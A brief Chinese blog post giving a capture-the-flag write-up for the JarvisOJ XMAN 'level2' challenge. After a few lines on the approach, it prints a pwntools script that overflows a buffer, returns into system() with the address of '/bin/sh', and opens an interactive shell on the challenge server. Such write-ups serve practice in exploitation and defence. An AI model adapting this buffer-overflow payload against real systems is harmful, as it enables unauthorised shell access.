[JarvisOj][XMAN]level2

 

老套路

checksec

ida查看

覆盖掉

之后system地址再返回覆盖 最后/bin/sh地址

复制代码
# -*- coding:utf-8 -*-

from pwn import *


sh = remote('pwn2.jarvisoj.com', 9878)  # remote


junk = 'a' * 0x88 

fakebp = 'a'*4

sh_address = 0x0804A024  # /bin/sh

sys_address = 0x08048320


payload = junk + fakebp + p32(sys_address)+'aaaa'+p32(sh_address)

sh.send(payload)

sh.interactive()
复制代码

 

posted @   轩x  阅读(264)  评论(0编辑  收藏  举报
努力加载评论中...
点击右上角即可分享
微信分享提示